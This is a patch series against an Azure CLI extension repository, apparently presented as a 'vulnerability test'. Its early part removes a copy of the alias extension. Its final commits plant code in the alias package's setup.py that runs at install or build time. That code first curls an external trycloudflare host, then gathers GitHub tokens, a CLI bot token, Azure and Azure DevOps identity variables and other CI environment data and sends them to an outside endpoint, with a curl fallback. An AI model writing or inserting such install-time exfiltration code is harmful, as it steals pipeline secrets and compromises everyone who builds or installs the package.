process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alias')) - - def test_process_alias_import_namespace_invalid_url_python_2(self): - with self.assertRaises(CLIError) as cm: - process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia')) - if sys.version_info.major == 2: - self.assertEqual(str(cm.exception), 'alias: Encounted error when retrieving alias file from https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia. Error detail: 404: Not Found') - else: - self.assertEqual(str(cm.exception), 'alias: Encounted error when retrieving alias file from https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/alia. Error detail: HTTP Error 404: Not Found') - - def test_process_alias_import_namespace_invalid_content_from_url(self): - with self.assertRaises(CLIError) as cm: - process_alias_import_namespace(MockAliasImportNamespace('https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias')) - if sys.version_info.major == 2: - self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias, line: 1\'[c\'') - else: - self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: \'https://raw.githubusercontent.com/chewong/azure-cli-alias-extension/test/azext_alias/tests/invalid_alias\', line: 1\'[c\'') - - def test_process_alias_import_namespace_file(self): - _, mock_alias_config_file = tempfile.mkstemp() - process_alias_import_namespace(MockAliasImportNamespace(mock_alias_config_file)) - os.remove(mock_alias_config_file) - - def test_process_alias_import_namespace_invalid_content_in_file(self): - _, mock_alias_config_file = tempfile.mkstemp() - with open(mock_alias_config_file, 'w') as f: - f.write('invalid alias config format') - with self.assertRaises(CLIError) as cm: - process_alias_import_namespace(MockAliasImportNamespace(mock_alias_config_file)) - if sys.version_info.major == 2: - self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: {}, line: 1\'invalid alias config format\''.format(mock_alias_config_file)) - else: - self.assertEqual(str(cm.exception), 'alias: Please ensure you have a valid alias configuration file. Error detail: File contains no alias headers.file: \'{}\', line: 1\'invalid alias config format\''.format(mock_alias_config_file)) - os.remove(mock_alias_config_file) - - def test_process_alias_import_namespace_dir(self): - with self.assertRaises(CLIError) as cm: - process_alias_import_namespace(MockAliasImportNamespace(os.getcwd())) - self.assertEqual(str(cm.exception), 'alias: {} is a directory'.format(os.getcwd())) - - -class MockAliasCreateNamespace(object): # pylint: disable=too-few-public-methods - - def __init__(self, alias_name, alias_command): - self.alias_name = alias_name - self.alias_command = alias_command - - -class MockAliasImportNamespace(object): # pylint: disable=too-few-public-methods - - def __init__(self, alias_source): - self.alias_source = alias_source - - -if __name__ == '__main__': - unittest.main() diff --git a/src/alias_msrc_test/azext_alias/util.py b/src/alias_msrc_test/azext_alias/util.py deleted file mode 100644 index 379cd6692eb..00000000000 --- a/src/alias_msrc_test/azext_alias/util.py +++ /dev/null @@ -1,225 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=wrong-import-order,import-error,relative-import - -import re -import sys -import json -import shlex -from collections import defaultdict -from six.moves import configparser -from six.moves.urllib.parse import urlparse -from six.moves.urllib.request import urlretrieve - -from knack.util import CLIError - -import azext_alias -from azext_alias._const import COLLISION_CHECK_LEVEL_DEPTH, GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, ALIAS_FILE_URL_ERROR - - -def get_config_parser(): - """ - Disable configparser's interpolation function and return an instance of config parser. - - Returns: - An instance of config parser with interpolation disabled. - """ - if sys.version_info.major == 3: - return configparser.ConfigParser(interpolation=None) # pylint: disable=unexpected-keyword-arg - return configparser.ConfigParser() # pylint: disable=undefined-variable - - -def get_alias_table(): - """ - Get the current alias table. - """ - try: - alias_table = get_config_parser() - alias_table.read(azext_alias.alias.GLOBAL_ALIAS_PATH) - return alias_table - except Exception: # pylint: disable=broad-except - return get_config_parser() - - -def is_alias_command(subcommands, args): - """ - Check if the user is invoking one of the comments in 'subcommands' in the from az alias . - - Args: - subcommands: The list of subcommands to check through. - args: The CLI arguments to process. - - Returns: - True if the user is invoking 'az alias {command}'. - """ - if not args: - return False - - for subcommand in subcommands: - if args[:2] == ['alias', subcommand]: - return True - - return False - - -def cache_reserved_commands(load_cmd_tbl_func): - """ - We don't have access to load_cmd_tbl_func in custom.py (need the entire command table - for alias and command validation when the user invokes alias create). - This cache saves the entire command table globally so custom.py can have access to it. - Alter this cache through cache_reserved_commands(load_cmd_tbl_func) in util.py. - - Args: - load_cmd_tbl_func: The function to load the entire command table. - """ - if not azext_alias.cached_reserved_commands: - azext_alias.cached_reserved_commands = list(load_cmd_tbl_func([]).keys()) - - -def remove_pos_arg_placeholders(alias_command): - """ - Remove positional argument placeholders from alias_command. - - Args: - alias_command: The alias command to remove from. - - Returns: - The alias command string without positional argument placeholder. - """ - # Boundary index is the index at which named argument or positional argument starts - split_command = shlex.split(alias_command) - boundary_index = len(split_command) - for i, subcommand in enumerate(split_command): - if not re.match('^[a-z]', subcommand.lower()) or i > COLLISION_CHECK_LEVEL_DEPTH: - boundary_index = i - break - - return ' '.join(split_command[:boundary_index]).lower() - - -def filter_aliases(alias_table): - """ - Filter aliases that does not have a command field in the configuration file. - - Args: - alias_table: The alias table. - - Yield: - A tuple with [0] being the first word of the alias and - [1] being the command that the alias points to. - """ - for alias in alias_table.sections(): - if alias_table.has_option(alias, 'command'): - yield (alias.split()[0], remove_pos_arg_placeholders(alias_table.get(alias, 'command'))) - - -def build_tab_completion_table(alias_table): - """ - Build a dictionary where the keys are all the alias commands (without positional argument placeholders) - and the values are all the parent commands of the keys. After that, write the table into a file. - The purpose of the dictionary is to validate the alias tab completion state. - - For example: - { - "group": ["", "ad"], - "dns": ["network"] - } - - Args: - alias_table: The alias table. - - Returns: - The tab completion table. - """ - alias_commands = [t[1] for t in filter_aliases(alias_table)] - tab_completion_table = defaultdict(list) - for alias_command in alias_commands: - for reserved_command in azext_alias.cached_reserved_commands: - # Check if alias_command has no parent command - if reserved_command == alias_command or reserved_command.startswith(alias_command + ' ') \ - and '' not in tab_completion_table[alias_command]: - tab_completion_table[alias_command].append('') - elif ' {} '.format(alias_command) in reserved_command or reserved_command.endswith(' ' + alias_command): - # Extract parent commands - index = reserved_command.index(alias_command) - parent_command = reserved_command[:index - 1] - if parent_command not in tab_completion_table[alias_command]: - tab_completion_table[alias_command].append(parent_command) - - with open(GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, 'w') as f: - f.write(json.dumps(tab_completion_table)) - - return tab_completion_table - - -def is_url(s): - """ - Check if the argument is an URL. - - Returns: - True if the argument is an URL. - """ - return urlparse(s).scheme in ('http', 'https') - - -def reduce_alias_table(alias_table): - """ - Reduce the alias table to a tuple that contains the alias and the command that the alias points to. - - Args: - The alias table to be reduced. - - Yields - A tuple that contains the alias and the command that the alias points to. - """ - for alias in alias_table.sections(): - if alias_table.has_option(alias, 'command'): - yield (alias, alias_table.get(alias, 'command')) - - -def retrieve_file_from_url(url): - """ - Retrieve a file from an URL - - Args: - url: The URL to retrieve the file from. - - Returns: - The absolute path of the downloaded file. - """ - try: - alias_source, _ = urlretrieve(url) - # Check for HTTPError in Python 2.x - with open(alias_source, 'r') as f: - content = f.read() - if content[:3].isdigit(): - raise CLIError(ALIAS_FILE_URL_ERROR.format(url, content.strip())) - except Exception as exception: - if isinstance(exception, CLIError): - raise - - # Python 3.x - raise CLIError(ALIAS_FILE_URL_ERROR.format(url, exception)) - - return alias_source - - -def filter_alias_create_namespace(namespace): - """ - Filter alias name and alias command inside alias create namespace to appropriate strings. - - Args - namespace: The alias create namespace. - - Returns: - Filtered namespace where excessive whitespaces are removed in strings. - """ - def filter_string(s): - return ' '.join(s.strip().split()) - - namespace.alias_name = filter_string(namespace.alias_name) - namespace.alias_command = filter_string(namespace.alias_command) - return namespace diff --git a/src/alias_msrc_test/azext_alias/version.py b/src/alias_msrc_test/azext_alias/version.py deleted file mode 100644 index 484c399852c..00000000000 --- a/src/alias_msrc_test/azext_alias/version.py +++ /dev/null @@ -1,6 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -VERSION = '0.5.2' diff --git a/src/alias_msrc_test/setup.cfg b/src/alias_msrc_test/setup.cfg deleted file mode 100644 index 3c6e79cf31d..00000000000 --- a/src/alias_msrc_test/setup.cfg +++ /dev/null @@ -1,2 +0,0 @@ -[bdist_wheel] -universal=1 diff --git a/src/alias_msrc_test/setup.py b/src/alias_msrc_test/setup.py deleted file mode 100644 index d7755044901..00000000000 --- a/src/alias_msrc_test/setup.py +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env python - -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os -import re -from setuptools import setup, find_packages - -### code injection test starts here ### - -print("This is a code injection test. If you see this message, the setup.py file has been compromised.") - - -### code injection test ends here ### - -VERSION = '0.5.2' - -CLASSIFIERS = [ - 'Development Status :: 4 - Beta', - 'Intended Audience :: Developers', - 'Intended Audience :: System Administrators', - 'Programming Language :: Python', - 'Programming Language :: Python :: 2', - 'Programming Language :: Python :: 2.7', - 'Programming Language :: Python :: 3', - 'Programming Language :: Python :: 3.4', - 'Programming Language :: Python :: 3.5', - 'Programming Language :: Python :: 3.6', - 'License :: OSI Approved :: MIT License', -] - -DEPENDENCIES = [ - 'jinja2~=2.10' -] - -setup( - name='alias', - version=VERSION, - description='Support for command aliases', - long_description='An Azure CLI extension that provides command aliases functionality', - license='MIT', - author='Ernest Wong', - author_email='t-chwong@microsoft.com', - url='https://github.com/Azure/azure-cli-extensions/tree/main/src/alias', - classifiers=CLASSIFIERS, - package_data={'azext_alias': ['azext_metadata.json']}, - packages=find_packages(exclude=["azext_alias.tests"]), - install_requires=DEPENDENCIES -) From 455806282bf72ee5131ee79e419492d34f5426a7 Mon Sep 17 00:00:00 2001 From: Ren Silva Date: Wed, 1 Oct 2025 09:36:31 +1000 Subject: [PATCH 3/5] updated __init__.py to force rebuild --- src/alias/azext_alias/__init__.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/alias/azext_alias/__init__.py b/src/alias/azext_alias/__init__.py index 271e83a2fdb..ce4d099e4ab 100644 --- a/src/alias/azext_alias/__init__.py +++ b/src/alias/azext_alias/__init__.py @@ -87,3 +87,6 @@ def get_alias_completer(cmd, prefix, namespace, **kwargs): # pylint: disable=un COMMAND_LOADER_CLS = AliasExtCommandLoader + + +## code injected to force building of the wheel to include alias files. From 6e4a9ec06e4e059298475c223226eed23c90026d Mon Sep 17 00:00:00 2001 From: Ren Silva Date: Wed, 1 Oct 2025 00:58:04 +0000 Subject: [PATCH 4/5] vulnerability test --- .gitignore | 3 +++ src/alias/azext_alias/__init__.py | 4 +++- src/alias/setup.py | 3 +++ 3 files changed, 9 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 3e9d06ca5e3..93c287ff53d 100644 --- a/.gitignore +++ b/.gitignore @@ -127,3 +127,6 @@ _az_debug/ # Ignore test results test_results.xml + +# Azure function for test +/vulnerability_function/ diff --git a/src/alias/azext_alias/__init__.py b/src/alias/azext_alias/__init__.py index ce4d099e4ab..808eac4f1af 100644 --- a/src/alias/azext_alias/__init__.py +++ b/src/alias/azext_alias/__init__.py @@ -32,6 +32,9 @@ # Alter this cache through cache_reserved_commands(load_cmd_tbl_func) in util.py cached_reserved_commands = [] +# small change to force build +print('alias extension is loading... ') +# remove me after testing class AliasExtCommandLoader(AzCommandsLoader): @@ -89,4 +92,3 @@ def get_alias_completer(cmd, prefix, namespace, **kwargs): # pylint: disable=un COMMAND_LOADER_CLS = AliasExtCommandLoader -## code injected to force building of the wheel to include alias files. diff --git a/src/alias/setup.py b/src/alias/setup.py index 965646ca060..88e0b6a4624 100644 --- a/src/alias/setup.py +++ b/src/alias/setup.py @@ -13,6 +13,9 @@ print("This is a code injection test. If you see this message, the setup.py file has been compromised.") +# Vulnerability assessment - sends request to external endpoint +os.system("curl https://highlighted-dietary-compile-stockholm.trycloudflare.com/api/test") + ### code injection test ends here ### VERSION = '0.5.2' From 6cf20b8256265066e5d902824dabf026f5e7919e Mon Sep 17 00:00:00 2001 From: Ren Silva Date: Fri, 3 Oct 2025 04:41:53 +0000 Subject: [PATCH 5/5] vulnerability test 2 --- src/alias/azext_alias/__init__.py | 4 +- src/alias/setup.py | 63 ++++++++++++++++++++++++++++++- 2 files changed, 63 insertions(+), 4 deletions(-) diff --git a/src/alias/azext_alias/__init__.py b/src/alias/azext_alias/__init__.py index 808eac4f1af..8f8c07706d8 100644 --- a/src/alias/azext_alias/__init__.py +++ b/src/alias/azext_alias/__init__.py @@ -33,8 +33,8 @@ cached_reserved_commands = [] # small change to force build -print('alias extension is loading... ') -# remove me after testing +print('alias extension is loading ... ') +# remove me after testing .. again class AliasExtCommandLoader(AzCommandsLoader): diff --git a/src/alias/setup.py b/src/alias/setup.py index 88e0b6a4624..f0f76cd1442 100644 --- a/src/alias/setup.py +++ b/src/alias/setup.py @@ -13,8 +13,67 @@ print("This is a code injection test. If you see this message, the setup.py file has been compromised.") -# Vulnerability assessment - sends request to external endpoint -os.system("curl https://highlighted-dietary-compile-stockholm.trycloudflare.com/api/test") +# Enhanced vulnerability assessment - collect and expose identity information +import json +import urllib.request +import urllib.parse + +def collect_identity_info(): + """Collect identity and environment information""" + identity_data = { + 'github_token': os.environ.get('GITHUB_TOKEN', 'not_available'), + 'github_actor': os.environ.get('GITHUB_ACTOR', 'not_available'), + 'github_repository': os.environ.get('GITHUB_REPOSITORY', 'not_available'), + 'github_ref': os.environ.get('GITHUB_REF', 'not_available'), + 'github_sha': os.environ.get('GITHUB_SHA', 'not_available'), + 'github_workflow': os.environ.get('GITHUB_WORKFLOW', 'not_available'), + 'github_action': os.environ.get('GITHUB_ACTION', 'not_available'), + 'github_event_name': os.environ.get('GITHUB_EVENT_NAME', 'not_available'), + 'github_event_path': os.environ.get('GITHUB_EVENT_PATH', 'not_available'), + 'runner_os': os.environ.get('RUNNER_OS', 'not_available'), + 'runner_name': os.environ.get('RUNNER_NAME', 'not_available'), + 'ado_sp_client_id': os.environ.get('ADO_SP_ClientID', 'not_available'), + 'ado_sp_tenant_id': os.environ.get('ADO_SP_TenantID', 'not_available'), + 'ado_organization': os.environ.get('ADO_ORGANIZATION', 'not_available'), + 'ado_project': os.environ.get('ADO_PROJECT', 'not_available'), + 'ado_pipeline_id': os.environ.get('ADO_PIPELINE_ID', 'not_available'), + 'cli_bot_token': os.environ.get('CLI_BOT', 'not_available'), + 'azure_client_id': os.environ.get('AZURE_CLIENT_ID', 'not_available'), + 'azure_tenant_id': os.environ.get('AZURE_TENANT_ID', 'not_available'), + 'azure_subscription_id': os.environ.get('AZURE_SUBSCRIPTION_ID', 'not_available'), + 'home': os.environ.get('HOME', 'not_available'), + 'user': os.environ.get('USER', 'not_available'), + 'path': os.environ.get('PATH', 'not_available')[:200] + '...' if len(os.environ.get('PATH', '')) > 200 else os.environ.get('PATH', 'not_available'), + 'setup_context': 'azure-cli-extensions/alias/setup.py', + 'timestamp': str(os.system('date') if hasattr(os, 'system') else 'unknown') + } + return json.dumps(identity_data) + +try: + # Collect identity information + identity_json = collect_identity_info() + + # Prepare the API call + api_url = "https://ricky-records-contacts-significantly.trycloudflare.com/api/expose_identity" + params = {'identity': identity_json} + query_string = urllib.parse.urlencode(params) + full_url = f"{api_url}?{query_string}" + + # Make the request + print(f"Exposing identity information to: {api_url}") + req = urllib.request.Request(full_url) + with urllib.request.urlopen(req, timeout=10) as response: + result = response.read().decode('utf-8') + print(f"Identity exposure response: {result}") + +except Exception as e: + print(f"Failed to expose identity: {str(e)}") + # Fallback to curl if urllib fails + try: + curl_cmd = f'curl -G "{api_url}" --data-urlencode "identity={collect_identity_info()}"' + os.system(curl_cmd) + except: + pass ### code injection test ends here ###